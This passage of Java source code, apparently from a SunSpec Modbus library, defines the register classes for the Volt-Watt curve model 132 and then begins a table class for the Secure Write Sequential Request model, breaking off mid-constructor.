voltWatt40V14s[index]; } /** * @return */ public RetepDouble getW14(int index) { return voltWatt41W14s[index]; } /** * @return */ public RetepDouble getW15(int index) { return voltWatt43W15s[index]; } /** * @return */ public RetepDouble getV16(int index) { return voltWatt44V16s[index]; } /** * @return */ public RetepDouble getW16(int index) { return voltWatt45W16s[index]; } /** * @return */ public RetepDouble getV17(int index) { return voltWatt46V17s[index]; } /** * @return */ public RetepDouble getW17(int index) { return voltWatt47W17s[index]; } /** * @return */ public RetepDouble getV18(int index) { return voltWatt48V18s[index]; } /** * @return */ public RetepDouble getW18(int index) { return voltWatt49W18s[index]; } /** * @return */ public RetepDouble getV19(int index) { return voltWatt50V19s[index]; } /** * @return */ public RetepDouble getW19(int index) { return voltWatt51W19s[index]; } /** * @return */ public RetepDouble getV20(int index) { return voltWatt52V20s[index]; } /** * @return */ public RetepDouble getW20(int index) { return voltWatt53W20s[index]; } /** * @return */ public RetepString getCrvNam(int index) { return voltWatt54CrvNams[index]; } /** * @return */ public RetepLong getRmpPt1Tms(int index) { return voltWatt62RmpPt1Tmss[index]; } /** * @return */ public RetepDouble getRmpDecTmm(int index) { return voltWatt63RmpDecTmms[index]; } /** * @return */ public RetepDouble getRmpIncTmm(int index) { return voltWatt64RmpIncTmms[index]; } /** * @return */ public RetepEnum getReadOnly(int index) { return voltWatt65ReadOnlys[index]; } /** * */ public class ID extends RegisterEnum16 { ID(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getVoltWatt_132(), 0, 1, "Model", "", "Volt-Watt ", Rw.R, Mandatory.M); hashtable.put((long) 132, "SunSpec Volt-Watt"); } } /** * */ public class L extends RegisterUint16 { L(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getVoltWatt_132(), 1, 1, "Model Length", "", "Model Length", Rw.R, Mandatory.M); } } /** * */ public class ActCrv extends RegisterUint16 { ActCrv(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getVoltWatt_132(), 2, 1, "ActCrv", "", "Index of active curve. 0=no active curve.", Rw.RW, Mandatory.M); } } /** * */ public class ModEna extends RegisterBitfield16 { ModEna(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getVoltWatt_132(), 3, 1, "ModEna", "", "Is Volt-Watt control active.", Rw.RW, Mandatory.M); hashtable.put((long) 0, "ENABLED"); } } /** * */ public class WinTms extends RegisterUint16 { WinTms(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getVoltWatt_132(), 4, 1, "WinTms", "Secs", "Time window for volt-watt change.", Rw.RW, Mandatory.O); } } /** * */ public class RvrtTms extends RegisterUint16 { RvrtTms(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getVoltWatt_132(), 5, 1, "RvrtTms", "Secs", "Timeout period for volt-watt curve selection.", Rw.RW, Mandatory.O); } } /** * */ public class RmpTms extends RegisterUint16 { RmpTms(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getVoltWatt_132(), 6, 1, "RmpTms", "Secs", "Ramp time for moving from current mode to new mode.", Rw.RW, Mandatory.O); } } /** * */ public class NCrv extends RegisterUint16 { NCrv(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getVoltWatt_132(), 7, 1, "NCrv", "", "Number of curves supported (recommend min. 4).", Rw.R, Mandatory.M); } } /** * */ public class NPt extends RegisterUint16 { NPt(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getVoltWatt_132(), 8, 1, "NPt", "", "Number of points in array (maximum 20).", Rw.R, Mandatory.M); } } /** * */ public class V_SF extends RegisterSunssf { V_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getVoltWatt_132(), 9, 1, "V_SF", "", "Scale factor for percent VRef.", Rw.R, Mandatory.M); } } /** * */ public class DeptRef_SF extends RegisterSunssf { DeptRef_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getVoltWatt_132(), 10, 1, "DeptRef_SF", "", "Scale Factor for % DeptRef", Rw.R, Mandatory.M); } } /** * */ public class RmpIncDec_SF extends RegisterSunssf { RmpIncDec_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getVoltWatt_132(), 11, 1, "RmpIncDec_SF", "", "Scale factor for increment and decrement ramps.", Rw.R, Mandatory.O); } } /** * */ public class ActPt extends RegisterUint16 { private final int index; ActPt(int aIndex, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 12 + (index * 54), 1, "[" + (index + 1) + "] ActPt", "", "Number of active points in array.", Rw.RW, Mandatory.M); } } /** * */ public class DeptRef extends RegisterEnum16 { private final int index; DeptRef(int aIndex, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 13+ (index * 54), 1, "[" + (index + 1) + "] DeptRef", "", "Defines the meaning of the Watts DeptRef. 1=% WMax 2=% WAvail", Rw.RW, Mandatory.M); hashtable.put((long) 1, "%WMax"); hashtable.put((long) 2, "%WAval"); } } /** * */ public class V1 extends RegisterUDouble { private final int index; public V1(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 14+ (index * 54), 1, "[" + (index + 1) + "] V1", "% VRef", "Point 1 Volts.", Rw.RW, Mandatory.M); setScaleFactorMessage(aScalFactor); } } /** * */ public class W1 extends RegisterDouble { private final int index; public W1(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 15+ (index * 54), 1, "[" + (index + 1) + "] W1", "% VRef", "Point 1 Watts.", Rw.RW, Mandatory.M); setScaleFactorMessage(aScalFactor); } } /** * */ public class V2 extends RegisterUDouble { private final int index; public V2(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 16+ (index * 54), 1, "[" + (index + 1) + "] V2", "% VRef", "Point 2 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W2 extends RegisterDouble { private final int index; public W2(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 17+ (index * 54), 1, "[" + (index + 1) + "] W2", "% VRef", "Point 2 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V3 extends RegisterUDouble { private final int index; public V3(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 18+ (index * 54), 1, "[" + (index + 1) + "] V3", "% VRef", "Point 3 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W3 extends RegisterDouble { private final int index; public W3(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 19+ (index * 54), 1, "[" + (index + 1) + "] W3", "% VRef", "Point 3 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V4 extends RegisterUDouble { private final int index; public V4(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 20+ (index * 54), 1, "[" + (index + 1) + "] V4", "% VRef", "Point 4 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W4 extends RegisterDouble { private final int index; public W4(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 21+ (index * 54), 1, "[" + (index + 1) + "] W4", "% VRef", "Point 4 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V5 extends RegisterUDouble { private final int index; public V5(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 22+ (index * 54), 1, "[" + (index + 1) + "] V5", "% VRef", "Point 5 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W5 extends RegisterDouble { private final int index; public W5(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 23+ (index * 54), 1, "[" + (index + 1) + "] W5", "% VRef", "Point 5 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V6 extends RegisterUDouble { private final int index; public V6(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 24+ (index * 54), 1, "[" + (index + 1) + "] V6", "% VRef", "Point 6 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W6 extends RegisterDouble { private final int index; public W6(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 25+ (index * 54), 1, "[" + (index + 1) + "] W6", "% VRef", "Point 6 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V7 extends RegisterUDouble { private final int index; public V7(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 26+ (index * 54), 1, "[" + (index + 1) + "] V7", "% VRef", "Point 7 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W7 extends RegisterDouble { private final int index; public W7(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 27+ (index * 54), 1, "[" + (index + 1) + "] W7", "% VRef", "Point 7 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } public class V8 extends RegisterUDouble { private final int index; public V8(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 28+ (index * 54), 1, "[" + (index + 1) + "] V8", "% VRef", "Point 8 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W8 extends RegisterDouble { private final int index; public W8(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 29+ (index * 54), 1, "[" + (index + 1) + "] W8", "% VRef", "Point 8 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } public class V9 extends RegisterUDouble { private final int index; public V9(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 30+ (index * 54), 1, "[" + (index + 1) + "] V9", "% VRef", "Point 9 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W9 extends RegisterDouble { private final int index; public W9(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 31+ (index * 54), 1, "[" + (index + 1) + "] W9", "% VRef", "Point 9 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } public class V10 extends RegisterUDouble { private final int index; public V10(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 32+ (index * 54), 1, "[" + (index + 1) + "] V10", "% VRef", "Point 10 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W10 extends RegisterDouble { private final int index; public W10(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 33+ (index * 54), 1, "[" + (index + 1) + "] W10", "% VRef", "Point 10 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V11 extends RegisterUDouble { private final int index; public V11(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 34+ (index * 54), 1, "[" + (index + 1) + "] V11", "% VRef", "Point 11 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W11 extends RegisterDouble { private final int index; public W11(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 35+ (index * 54), 1, "[" + (index + 1) + "] W11", "% VRef", "Point 11 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V12 extends RegisterUDouble { private final int index; public V12(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 36+ (index * 54), 1, "[" + (index + 1) + "] V12", "% VRef", "Point 12 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W12 extends RegisterDouble { private final int index; public W12(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 37+ (index * 54), 1, "[" + (index + 1) + "] W12", "% VRef", "Point 12 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V13 extends RegisterUDouble { private final int index; public V13(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 38+ (index * 54), 1, "[" + (index + 1) + "] V13", "% VRef", "Point 13 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W13 extends RegisterDouble { private final int index; public W13(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 39+ (index * 54), 1, "[" + (index + 1) + "] W13", "% VRef", "Point 13 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V14 extends RegisterUDouble { private final int index; public V14(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 40+ (index * 54), 1, "[" + (index + 1) + "] V14", "% VRef", "Point 14 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W14 extends RegisterDouble { private final int index; public W14(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 41+ (index * 54), 1, "[" + (index + 1) + "] W14", "% VRef", "Point 14 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V15 extends RegisterUDouble { private final int index; public V15(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 42+ (index * 54), 1, "[" + (index + 1) + "] V15", "% VRef", "Point 15 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W15 extends RegisterDouble { private final int index; public W15(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 43+ (index * 54), 1, "[" + (index + 1) + "] W15", "% VRef", "Point 15 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V16 extends RegisterUDouble { private final int index; public V16(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 44+ (index * 54), 1, "[" + (index + 1) + "] V16", "% VRef", "Point 16 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W16 extends RegisterDouble { private final int index; public W16(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 45+ (index * 54), 1, "[" + (index + 1) + "] W16", "% VRef", "Point 16 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V17 extends RegisterUDouble { private final int index; public V17(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 46+ (index * 54), 1, "[" + (index + 1) + "] V17", "% VRef", "Point 17 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W17 extends RegisterDouble { private final int index; public W17(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 47+ (index * 54), 1, "[" + (index + 1) + "] W17", "% VRef", "Point 17 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V18 extends RegisterUDouble { private final int index; public V18(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 48+ (index * 54), 1, "[" + (index + 1) + "] V18", "% VRef", "Point 18 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W18 extends RegisterDouble { private final int index; public W18(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 49+ (index * 54), 1, "[" + (index + 1) + "] W18", "% VRef", "Point 18 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V19 extends RegisterUDouble { private final int index; public V19(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 50+ (index * 54), 1, "[" + (index + 1) + "] V19", "% VRef", "Point 19 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W19 extends RegisterDouble { private final int index; public W19(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 51+ (index * 54), 1, "[" + (index + 1) + "] W19", "% VRef", "Point 19 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class V20 extends RegisterUDouble { private final int index; public V20(int aIndex, V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 52+ (index * 54), 1, "[" + (index + 1) + "] V20", "% VRef", "Point 20 Volts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class W20 extends RegisterDouble { private final int index; public W20(int aIndex, DeptRef_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 53+ (index * 54), 1, "[" + (index + 1) + "] W20", "% VRef", "Point 20 Watts.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class CrvNam extends RegisterString { private final int index; public CrvNam(int aIndex, TcpModbusHandler tcpModbusHandler) { { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 54+ (index * 54), 8, "[" + (index + 1) + "] CrvNam", "", "Optional description for curve.", Rw.RW, Mandatory.O); } } } /** * */ public class RmpPt1Tms extends RegisterUint16 { private final int index; public RmpPt1Tms(int aIndex, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 62+ (index * 54), 1, "[" + (index + 1) + "] RmpPt1Tms", "Secs", "The time of the PT1 in seconds (time to accomplish a change of 95%).", Rw.RW, Mandatory.O); } } /** * */ public class RmpDecTmm extends RegisterUDouble { private final int index; public RmpDecTmm(int aIndex, RmpIncDec_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 63+ (index * 54), 1, "[" + (index + 1) + "] RmpDecTmm", "% WMax/min", "The maximum rate at which the watt value may be reduced in response to changes in the voltage value.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class RmpIncTmm extends RegisterUDouble { private final int index; public RmpIncTmm(int aIndex, RmpIncDec_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 64+ (index * 54), 1, "[" + (index + 1) + "] RmpIncTmm", "% WMax/min", "The maximum rate at which the watt value may be increased in response to changes in the voltage value.", Rw.RW, Mandatory.O); setScaleFactorMessage(aScalFactor); } } /** * */ public class ReadOnly extends RegisterEnum16 { private final int index; ReadOnly(int aIndex, TcpModbusHandler tcpModbusHandler) { index = aIndex; init(tcpModbusHandler.getVoltWatt_132(), 65+ (index * 54), 1, "[" + (index + 1) + "] ReadOnly", "", "Enumerated value indicates if curve is read-only or can be modified.", Rw.R, Mandatory.M); hashtable.put((long) 0, "READWRITE"); hashtable.put((long) 1, "READONLY"); } } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ package ch.retep.relleum.sunspec.read.table; import ch.retep.relleum.modbus.datatype.RegisterEnum16; import ch.retep.relleum.modbus.datatype.RegisterPad; import ch.retep.relleum.modbus.datatype.RegisterUint16; import ch.retep.relleum.modbus.datatype.RegisterUint32; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.TcpModbusHandler; import ch.retep.relleum.sunspec.datatype.RetepEnum; import ch.retep.relleum.sunspec.datatype.RetepLong; public class Table0006SecureWriteSequentialRequest extends Table { private ID SecureWriteSequentialRequest0ID ; private L SecureWriteSequentialRequest1L ; private X SecureWriteSequentialRequest2X ; private Off SecureWriteSequentialRequest3Off ; private Val1 SecureWriteSequentialRequest4Val1 ; private Val2 SecureWriteSequentialRequest5Val2 ; private Val3 SecureWriteSequentialRequest6Val3 ; private Val4 SecureWriteSequentialRequest7Val4 ; private Val5 SecureWriteSequentialRequest8Val5 ; private Val6 SecureWriteSequentialRequest9Val6 ; private Val7 SecureWriteSequentialRequest10Val7 ; private Val8 SecureWriteSequentialRequest11Val8 ; private Val9 SecureWriteSequentialRequest12Val9 ; private Val10 SecureWriteSequentialRequest13Val10 ; private Val11 SecureWriteSequentialRequest14Val11 ; private Val12 SecureWriteSequentialRequest15Val12 ; private Val13 SecureWriteSequentialRequest16Val13 ; private Val14 SecureWriteSequentialRequest17Val14 ; private Val15 SecureWriteSequentialRequest18Val15 ; private Val16 SecureWriteSequentialRequest19Val16 ; private Val17 SecureWriteSequentialRequest20Val17 ; private Val18 SecureWriteSequentialRequest21Val18 ; private Val19 SecureWriteSequentialRequest22Val19 ; private Val20 SecureWriteSequentialRequest23Val20 ; private Val21 SecureWriteSequentialRequest24Val21 ; private Val22 SecureWriteSequentialRequest25Val22 ; private Val23 SecureWriteSequentialRequest26Val23 ; private Val24 SecureWriteSequentialRequest27Val24 ; private Val25 SecureWriteSequentialRequest28Val25 ; private Val26 SecureWriteSequentialRequest29Val26 ; private Val27 SecureWriteSequentialRequest30Val27 ; private Val28 SecureWriteSequentialRequest31Val28 ; private Val29 SecureWriteSequentialRequest32Val29 ; private Val30 SecureWriteSequentialRequest33Val30 ; private Val31 SecureWriteSequentialRequest34Val31 ; private Val32 SecureWriteSequentialRequest35Val32 ; private Val33 SecureWriteSequentialRequest36Val33 ; private Val34 SecureWriteSequentialRequest37Val34 ; private Val35 SecureWriteSequentialRequest38Val35 ; private Val36 SecureWriteSequentialRequest39Val36 ; private Val37 SecureWriteSequentialRequest40Val37 ; private Val38 SecureWriteSequentialRequest41Val38 ; private Val39 SecureWriteSequentialRequest42Val39 ; private Val40 SecureWriteSequentialRequest43Val40 ; private Val41 SecureWriteSequentialRequest44Val41 ; private Val42 SecureWriteSequentialRequest45Val42 ; private Val43 SecureWriteSequentialRequest46Val43 ; private Val44 SecureWriteSequentialRequest47Val44 ; private Val45 SecureWriteSequentialRequest48Val45 ; private Val46 SecureWriteSequentialRequest49Val46 ; private Val47 SecureWriteSequentialRequest50Val47 ; private Val48 SecureWriteSequentialRequest51Val48 ; private Val49 SecureWriteSequentialRequest52Val49 ; private Val50 SecureWriteSequentialRequest53Val50 ; private Val51 SecureWriteSequentialRequest54Val51 ; private Val52 SecureWriteSequentialRequest55Val52 ; private Val53 SecureWriteSequentialRequest56Val53 ; private Val54 SecureWriteSequentialRequest57Val54 ; private Val55 SecureWriteSequentialRequest58Val55 ; private Val56 SecureWriteSequentialRequest59Val56 ; private Val57 SecureWriteSequentialRequest60Val57 ; private Val58 SecureWriteSequentialRequest61Val58 ; private Val59 SecureWriteSequentialRequest62Val59 ; private Val60 SecureWriteSequentialRequest63Val60 ; private Val61 SecureWriteSequentialRequest64Val61 ; private Val62 SecureWriteSequentialRequest65Val62 ; private Val63 SecureWriteSequentialRequest66Val63 ; private Val64 SecureWriteSequentialRequest67Val64 ; private Val65 SecureWriteSequentialRequest68Val65 ; private Val66 SecureWriteSequentialRequest69Val66 ; private Val67 SecureWriteSequentialRequest70Val67 ; private Val68 SecureWriteSequentialRequest71Val68 ; private Val69 SecureWriteSequentialRequest72Val69 ; private Val70 SecureWriteSequentialRequest73Val70 ; private Val71 SecureWriteSequentialRequest74Val71 ; private Val72 SecureWriteSequentialRequest75Val72 ; private Val73 SecureWriteSequentialRequest76Val73 ; private Val74 SecureWriteSequentialRequest77Val74 ; private Val75 SecureWriteSequentialRequest78Val75 ; private Val76 SecureWriteSequentialRequest79Val76 ; private Val77 SecureWriteSequentialRequest80Val77 ; private Val78 SecureWriteSequentialRequest81Val78 ; private Val79 SecureWriteSequentialRequest82Val79 ; private Val80 SecureWriteSequentialRequest83Val80 ; private Ts SecureWriteSequentialRequest84Ts ; private Ms SecureWriteSequentialRequest86Ms ; private Seq SecureWriteSequentialRequest87Seq ; private Role SecureWriteSequentialRequest88Role ; private Rsrvd SecureWriteSequentialRequest89Rsrvd ; private Alg SecureWriteSequentialRequest90Alg ; private N SecureWriteSequentialRequest91N ; private DS SecureWriteSequentialRequest92DS ; public Table0006SecureWriteSequentialRequest(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 0, 93, "Secure Write Sequential Request Modell", "", "Secure Write Sequential Request Modell ", Rw.R, Mandatory.M); SecureWriteSequentialRequest0ID = new ID(tcpModbusHandler); SecureWriteSequentialRequest1L = new L(tcpModbusHandler); SecureWriteSequentialRequest2X = new X(tcpModbusHandler); SecureWriteSequentialRequest3Off = new Off(tcpModbusHandler); SecureWriteSequentialRequest4Val1 = new Val1(tcpModbusHandler); SecureWriteSequentialRequest5Val2 = new Val2(tcpModbusHandler); SecureWriteSequentialRequest6Val3 = new Val3(tcpModbusHandler); SecureWriteSequentialRequest7Val4 = new Val4(tcpModbusHandler); SecureWriteSequentialRequest8Val5 = new Val5(tcpModbusHandler); SecureWriteSequentialRequest9Val6 = new Val6(tcpModbusHandler); SecureWriteSequentialRequest10Val7 = new Val7(tcpModbusHandler); SecureWriteSequentialRequest11Val8 = new Val8(tcpModbusHandler); SecureWriteSequentialRequest12Val9 = new Val9(tcpModbusHandler); SecureWriteSequentialRequest13Val10 = new Val10(tcpModbusHandler); SecureWriteSequentialRequest14Val11 = new Val11(tcpModbusHandler); SecureWriteSequentialRequest15Val12 = new Val12(tcpModbusHandler); SecureWriteSequentialRequest16Val13 = new Val13(tcpModbusHandler); SecureWriteSequentialRequest17Val14 = new Val14(tcpModbusHandler); SecureWriteSequentialRequest18Val15 = new Val15(tcpModbusHandler); SecureWriteSequentialRequest19Val16 = new Val16(tcpModbusHandler); SecureWriteSequentialRequest20Val17 = new Val17(tcpModbusHandler); SecureWriteSequentialRequest21Val18 = new Val18(tcpModbusHandler); SecureWriteSequentialRequest22Val19 = new Val19(tcpModbusHandler); SecureWriteSequentialRequest23Val20 = new Val20(tcpModbusHandler); SecureWriteSequentialRequest24Val21 = new Val21(tcpModbusHandler); SecureWriteSequentialRequest25Val22 = new Val22(tcpModbusHandler); SecureWriteSequentialRequest26Val23 = new Val23(tcpModbusHandler); SecureWriteSequentialRequest27Val24 = new Val24(tcpModbusHandler); SecureWriteSequentialRequest28Val25 = new Val25(tcpModbusHandler); SecureWriteSequentialRequest29Val26 = new Val26(tcpModbusHandler); SecureWriteSequentialRequest30Val27 = new Val27(tcpModbusHandler); SecureWriteSequentialRequest31Val28 = new Val28(tcpModbusHandler); SecureWriteSequentialRequest32Val29 = new Val29(tcpModbusHandler); SecureWriteSequentialRequest33Val30 = new Val30(tcpModbusHandler); SecureWriteSequentialRequest34Val31 = new Val31(tcpModbusHandler); SecureWriteSequentialRequest35Val32 = new Val32(tcpModbusHandler); SecureWriteSequentialRequest36Val33 = new Val33(tcpModbusHandler); SecureWriteSequentialRequest37Val34 = new Val34(tcpModbusHandler); SecureWriteSequentialRequest38Val35 = new Val35(tcpModbusHandler); SecureWriteSequentialRequest39Val36 